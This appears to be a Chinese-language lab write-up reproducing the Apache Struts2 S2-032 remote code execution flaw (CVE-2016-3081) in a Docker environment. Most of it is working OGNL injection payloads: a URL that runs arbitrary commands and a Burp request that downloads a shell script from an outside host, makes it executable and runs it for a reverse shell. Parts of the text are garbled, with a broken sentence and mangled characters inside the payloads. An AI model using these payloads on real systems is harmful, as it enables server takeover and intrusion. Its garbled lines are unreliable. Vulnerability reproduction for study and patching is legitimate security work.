S2-032 遠端程式碼執行漏洞（CVE-2016-3081）
阿新 • • 發佈：2022-05-18
影響版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
漏洞詳情:
- https://cwiki.apache.org/confluence/display/WW/S2-032
- https://www.cnblogs.com/mrchang/p/6501428.html
漏洞環境
執行如下命令啟動struts2 2.3.28：
docker-compose up -d環境啟動後，訪問http://your-ip:8080即可看到預設頁面。
漏洞復現
Struts2在開啟了動態方法呼叫（Dynamic Method Invocation）的情況下，可以使用method:<name>
<name>的方法，而這個方法名將會進行OGNL表示式計算，導致遠端命令執行漏洞。
直接請求如下URL，即可執行id命令：
http://your-ip:8080/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
反彈Shell
通過Burp傳送的payload要經過URL編碼
GET /index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=\\A&ppp=%20&encoding=UTF-8&cmd=curl%20http%3A%2F%2F192.168.10.129%3A8888%2Fshell.txt%20-o%20%2Ftmp%2Fshell.sh HTTP/1.1 Host: 192.168.10.128:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=9zs07axi06w1lnowjvmaa52o Upgrade-Insecure-Requests: 1
chmod 777 /tmp/shell.sh
#URL編碼
chmod%20777%20%2Ftmp%2Fshell.sh/bin/bash /tmp/shell.sh
#URL編碼
/bin/bash /tmp/shell.sh成功反彈Shell